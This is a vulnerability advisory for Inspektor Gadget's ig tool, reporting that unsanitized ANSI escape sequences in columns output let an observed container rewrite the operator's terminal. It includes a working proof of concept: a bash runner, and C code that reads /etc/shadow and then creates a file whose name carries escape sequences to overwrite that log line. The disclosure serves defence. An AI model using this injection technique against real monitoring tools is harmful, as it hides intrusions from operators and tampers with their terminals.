Inspektor Gadget uses unsanitized ANSI Escape Sequences In columns Output Mode
Description
String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences.
Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects.
The columns output mode is the default when running ig run interactively.
PoC
Attachments
run.sh
```bash
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
CONTAINER_NAME="poc-escape-inject"
echo "Make sure ig is running in another terminal:"
echo " sudo ig run trace_open -c ${CONTAINER_NAME}"
echo ""
echo "Press Enter to continue..."
read -r
sudo docker run --rm \
--name "${CONTAINER_NAME}" \
-v "${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro" \
gcc:latest \
bash -c "
gcc -o /tmp/escape_inject /src/escape_inject.c && \
/tmp/escape_inject
"
```
escape_inject.c
```c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
static void read_file(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd >= 0)
close(fd);
}
static void create_file(const char *path)
{
int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd >= 0)
close(fd);
}
int main(void)
{
printf("[1] normal activity\n");
create_file("/tmp/app.log");
printf("[2] malicious read of /etc/shadow\n");
read_file("/etc/shadow");
usleep(300000);
printf("[3] tampering the log\n");
create_file("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C");
usleep(300000);
return 0;
}
```
1. Setup a Linux host and build/install ig version 0.48.0
2. Run the attached run.sh on a terminal
3. Run sudo ig run trace_open -c poc-escape-inject on another terminal
4. Press "Enter" on the terminal attached to run.sh
5. Observe the events traced by ig
6. Notice that, at some point, the line where /etc/shadow is logged is overwritten /etc/bashrc, demonstrating the log injection
Impact
The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying columns output.
At the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.
However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:
- lead to DoS (Denial of Service)
- write to the system clipboard
- create hyperlinks to attacker-controlled servers
- change window title
- potentially execute code (see referenced resources)
Resources
- https://www.youtube.com/watch?v=spb8Gk9Z09Y
Notes
The json output mode was already sanitizing the content.
